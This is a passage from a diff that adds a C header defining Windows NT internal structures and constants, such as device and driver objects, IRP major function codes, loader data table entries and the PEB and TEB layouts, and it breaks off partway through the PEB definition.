FILE_DEVICE_TAPE_FILE_SYSTEM 0x00000020 +#define FILE_DEVICE_TRANSPORT 0x00000021 +#define FILE_DEVICE_UNKNOWN 0x00000022 +#define FILE_DEVICE_VIDEO 0x00000023 +#define FILE_DEVICE_VIRTUAL_DISK 0x00000024 +#define FILE_DEVICE_WAVE_IN 0x00000025 +#define FILE_DEVICE_WAVE_OUT 0x00000026 +#define FILE_DEVICE_8042_PORT 0x00000027 +#define FILE_DEVICE_NETWORK_REDIRECTOR 0x00000028 +#define FILE_DEVICE_BATTERY 0x00000029 +#define FILE_DEVICE_BUS_EXTENDER 0x0000002a +#define FILE_DEVICE_MODEM 0x0000002b +#define FILE_DEVICE_VDM 0x0000002c +#define FILE_DEVICE_MASS_STORAGE 0x0000002d +#define FILE_DEVICE_SMB 0x0000002e +#define FILE_DEVICE_KS 0x0000002f +#define FILE_DEVICE_CHANGER 0x00000030 +#define FILE_DEVICE_SMARTCARD 0x00000031 +#define FILE_DEVICE_ACPI 0x00000032 +#define FILE_DEVICE_DVD 0x00000033 +#define FILE_DEVICE_FULLSCREEN_VIDEO 0x00000034 +#define FILE_DEVICE_DFS_FILE_SYSTEM 0x00000035 +#define FILE_DEVICE_DFS_VOLUME 0x00000036 +#define FILE_DEVICE_SERENUM 0x00000037 +#define FILE_DEVICE_TERMSRV 0x00000038 +#define FILE_DEVICE_KSEC 0x00000039 +#define FILE_DEVICE_FIPS 0x0000003A +#define FILE_DEVICE_INFINIBAND 0x0000003B +#define FILE_DEVICE_VMBUS 0x0000003E +#define FILE_DEVICE_CRYPT_PROVIDER 0x0000003F +#define FILE_DEVICE_WPD 0x00000040 +#define FILE_DEVICE_BLUETOOTH 0x00000041 +#define FILE_DEVICE_MT_COMPOSITE 0x00000042 +#define FILE_DEVICE_MT_TRANSPORT 0x00000043 +#define FILE_DEVICE_BIOMETRIC 0x00000044 +#define FILE_DEVICE_PMI 0x00000045 +#define FILE_DEVICE_EHSTOR 0x00000046 +#define FILE_DEVICE_DEVAPI 0x00000047 +#define FILE_DEVICE_GPIO 0x00000048 +#define FILE_DEVICE_USBEX 0x00000049 +#define FILE_DEVICE_CONSOLE 0x00000050 +#define FILE_DEVICE_NFP 0x00000051 +#define FILE_DEVICE_SYSENV 0x00000052 +#define FILE_DEVICE_VIRTUAL_BLOCK 0x00000053 +#define FILE_DEVICE_POINT_OF_SERVICE 0x00000054 + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +#define DPC_NORMAL 0 +#define DPC_THREADED 1 + +typedef struct _DEVICE_OBJECT { + CSHORT Type; + USHORT Size; + LONG ReferenceCount; + struct _DRIVER_OBJECT *DriverObject; + struct _DEVICE_OBJECT *NextDevice; + struct _DEVICE_OBJECT *AttachedDevice; + struct _IRP *CurrentIrp; + PVOID Timer; + ULONG Flags; + ULONG Characteristics; + __volatile PVPB Vpb; + PVOID DeviceExtension; + DEVICE_TYPE DeviceType; + CCHAR StackSize; + union { + LIST_ENTRY ListEntry; + WAIT_CONTEXT_BLOCK Wcb; + } Queue; + ULONG AlignmentRequirement; + KDEVICE_QUEUE DeviceQueue; + KDPC Dpc; + ULONG ActiveThreadCount; + PSECURITY_DESCRIPTOR SecurityDescriptor; + KEVENT DeviceLock; + USHORT SectorSize; + USHORT Spare1; + struct _DEVOBJ_EXTENSION * DeviceObjectExtension; + PVOID Reserved; +} DEVICE_OBJECT, *PDEVICE_OBJECT; + +typedef struct _DEVOBJ_EXTENSION { + + CSHORT Type; + USHORT Size; + + // + // Public part of the DeviceObjectExtension structure + // + + PDEVICE_OBJECT DeviceObject; // owning device object + + // end_ntddk end_nthal end_ntifs end_wdm end_ntosp + + // + // Universal Power Data - all device objects must have this + // + + ULONG PowerFlags; // see ntos\po\pop.h + // WARNING: Access via PO macros + // and with PO locking rules ONLY. + + // + // Pointer to the non-universal power data + // Power data that only some device objects need is stored in the + // device object power extension -> DOPE + // see po.h + // + + struct _DEVICE_OBJECT_POWER_EXTENSION *Dope; + + // + // power state information + // + + // + // Device object extension flags. Protected by the IopDatabaseLock. + // + + ULONG ExtensionFlags; + + // + // PnP manager fields + // + + PVOID DeviceNode; + + // + // AttachedTo is a pointer to the device object that this device + // object is attached to. The attachment chain is now doubly + // linked: this pointer and DeviceObject->AttachedDevice provide the + // linkage. + // + + PDEVICE_OBJECT AttachedTo; + + // + // The next two fields are used to prevent recursion in IoStartNextPacket + // interfaces. + // + + LONG StartIoCount; // Used to keep track of number of pending start ios. + LONG StartIoKey; // Next startio key + ULONG StartIoFlags; // Start Io Flags. Need a separate flag so that it can be accessed without locks + PVPB Vpb; // If not NULL contains the VPB of the mounted volume. + // Set in the filesystem's volume device object. + // This is a reverse VPB pointer. + + // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp + +} DEVOBJ_EXTENSION, *PDEVOBJ_EXTENSION; + +typedef struct _FAST_IO_DISPATCH { + ULONG SizeOfFastIoDispatch; + PVOID FastIoCheckIfPossible; + PVOID FastIoRead; + PVOID FastIoWrite; + PVOID FastIoQueryBasicInfo; + PVOID FastIoQueryStandardInfo; + PVOID FastIoLock; + PVOID FastIoUnlockSingle; + PVOID FastIoUnlockAll; + PVOID FastIoUnlockAllByKey; + PVOID FastIoDeviceControl; + PVOID AcquireFileForNtCreateSection; + PVOID ReleaseFileForNtCreateSection; + PVOID FastIoDetachDevice; + PVOID FastIoQueryNetworkOpenInfo; + PVOID AcquireForModWrite; + PVOID MdlRead; + PVOID MdlReadComplete; + PVOID PrepareMdlWrite; + PVOID MdlWriteComplete; + PVOID FastIoReadCompressed; + PVOID FastIoWriteCompressed; + PVOID MdlReadCompleteCompressed; + PVOID MdlWriteCompleteCompressed; + PVOID FastIoQueryOpen; + PVOID ReleaseForModWrite; + PVOID AcquireForCcFlush; + PVOID ReleaseForCcFlush; +} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH; + +#define IO_TYPE_ADAPTER 0x00000001 +#define IO_TYPE_CONTROLLER 0x00000002 +#define IO_TYPE_DEVICE 0x00000003 +#define IO_TYPE_DRIVER 0x00000004 +#define IO_TYPE_FILE 0x00000005 +#define IO_TYPE_IRP 0x00000006 +#define IO_TYPE_MASTER_ADAPTER 0x00000007 +#define IO_TYPE_OPEN_PACKET 0x00000008 +#define IO_TYPE_TIMER 0x00000009 +#define IO_TYPE_VPB 0x0000000a +#define IO_TYPE_ERROR_LOG 0x0000000b +#define IO_TYPE_ERROR_MESSAGE 0x0000000c +#define IO_TYPE_DEVICE_OBJECT_EXTENSION 0x0000000d + +#define IRP_MJ_CREATE 0x00 +#define IRP_MJ_CREATE_NAMED_PIPE 0x01 +#define IRP_MJ_CLOSE 0x02 +#define IRP_MJ_READ 0x03 +#define IRP_MJ_WRITE 0x04 +#define IRP_MJ_QUERY_INFORMATION 0x05 +#define IRP_MJ_SET_INFORMATION 0x06 +#define IRP_MJ_QUERY_EA 0x07 +#define IRP_MJ_SET_EA 0x08 +#define IRP_MJ_FLUSH_BUFFERS 0x09 +#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a +#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b +#define IRP_MJ_DIRECTORY_CONTROL 0x0c +#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d +#define IRP_MJ_DEVICE_CONTROL 0x0e +#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f +#define IRP_MJ_SHUTDOWN 0x10 +#define IRP_MJ_LOCK_CONTROL 0x11 +#define IRP_MJ_CLEANUP 0x12 +#define IRP_MJ_CREATE_MAILSLOT 0x13 +#define IRP_MJ_QUERY_SECURITY 0x14 +#define IRP_MJ_SET_SECURITY 0x15 +#define IRP_MJ_POWER 0x16 +#define IRP_MJ_SYSTEM_CONTROL 0x17 +#define IRP_MJ_DEVICE_CHANGE 0x18 +#define IRP_MJ_QUERY_QUOTA 0x19 +#define IRP_MJ_SET_QUOTA 0x1a +#define IRP_MJ_PNP 0x1b +#define IRP_MJ_PNP_POWER IRP_MJ_PNP +#define IRP_MJ_MAXIMUM_FUNCTION 0x1b + +typedef struct _DRIVER_EXTENSION { + + // + // Back pointer to Driver Object + // + + struct _DRIVER_OBJECT *DriverObject; + + // + // The AddDevice entry point is called by the Plug & Play manager + // to inform the driver when a new device instance arrives that this + // driver must control. + // + + PVOID AddDevice; + + // + // The count field is used to count the number of times the driver has + // had its registered reinitialization routine invoked. + // + + ULONG Count; + + // + // The service name field is used by the pnp manager to determine + // where the driver related info is stored in the registry. + // + + UNICODE_STRING ServiceKeyName; + +} DRIVER_EXTENSION, *PDRIVER_EXTENSION; + +#define DRVO_UNLOAD_INVOKED 0x00000001 +#define DRVO_LEGACY_DRIVER 0x00000002 +#define DRVO_BUILTIN_DRIVER 0x00000004 // Driver objects for Hal, PnP Mgr +#define DRVO_REINIT_REGISTERED 0x00000008 +#define DRVO_INITIALIZED 0x00000010 +#define DRVO_BOOTREINIT_REGISTERED 0x00000020 +#define DRVO_LEGACY_RESOURCES 0x00000040 +// end_ntddk end_nthal end_ntifs end_ntosp +#define DRVO_BASE_FILESYSTEM_DRIVER 0x00000080 // A driver that is at the bottom of the filesystem stack. +// begin_ntddk begin_nthal begin_ntifs begin_ntosp + +typedef struct _DRIVER_OBJECT { + CSHORT Type; + CSHORT Size; + + // + // The following links all of the devices created by a single driver + // together on a list, and the Flags word provides an extensible flag + // location for driver objects. + // + + PDEVICE_OBJECT DeviceObject; + ULONG Flags; + + // + // The following section describes where the driver is loaded. The count + // field is used to count the number of times the driver has had its + // registered reinitialization routine invoked. + // + + PVOID DriverStart; + ULONG DriverSize; + PVOID DriverSection; //PLDR_DATA_TABLE_ENTRY + PDRIVER_EXTENSION DriverExtension; + + // + // The driver name field is used by the error log thread + // determine the name of the driver that an I/O request is/was bound. + // + + UNICODE_STRING DriverName; + + // + // The following section is for registry support. Thise is a pointer + // to the path to the hardware information in the registry + // + + PUNICODE_STRING HardwareDatabase; + + // + // The following section contains the optional pointer to an array of + // alternate entry points to a driver for "fast I/O" support. Fast I/O + // is performed by invoking the driver routine directly with separate + // parameters, rather than using the standard IRP call mechanism. Note + // that these functions may only be used for synchronous I/O, and when + // the file is cached. + // + + PFAST_IO_DISPATCH FastIoDispatch; + + // + // The following section describes the entry points to this particular + // driver. Note that the major function dispatch table must be the last + // field in the object so that it remains extensible. + // + + PVOID DriverInit; + PVOID DriverStartIo; + PVOID DriverUnload; + PVOID MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; + +} DRIVER_OBJECT; +typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT; + +typedef struct _LDR_RESOURCE_INFO { + ULONG_PTR Type; + ULONG_PTR Name; + ULONG Lang; +} LDR_RESOURCE_INFO, *PLDR_RESOURCE_INFO; + +typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + } DUMMYUNION0; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD ObsoleteLoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + } DUMMYUNION1; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + } DUMMYUNION2; + //fields below removed for compatibility +} LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE *PLDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA { + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; +typedef const LDR_DLL_NOTIFICATION_DATA *PCLDR_DLL_NOTIFICATION_DATA; + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +/* +* WDM END +*/ + +/* +* NTQSI Modules START +*/ + +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +/* +* NTQSI Modules END +*/ + +/* +** Virtual Memory START +*/ + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef struct _MEMORY_REGION_INFORMATION { + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +/* +** Virtual Memory END +*/ + +/* +** System Firmware START +*/ + +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTable_Enumerate, + SystemFirmwareTable_Get +} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION; + +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION { + ULONG ProviderSignature; + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[ANYSIZE_ARRAY]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +/* +** System Firmware END +*/ + +// +// PEB/TEB +// +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +// 32-bit definitions +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 { + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 { + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 { + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 { + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 { + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 { + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _GDI_HANDLE_ENTRY { + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY { + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; + PVOID PackageDependencyData; //8+ + ULONG ProcessGroupId; + // ULONG LoaderThreads; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID 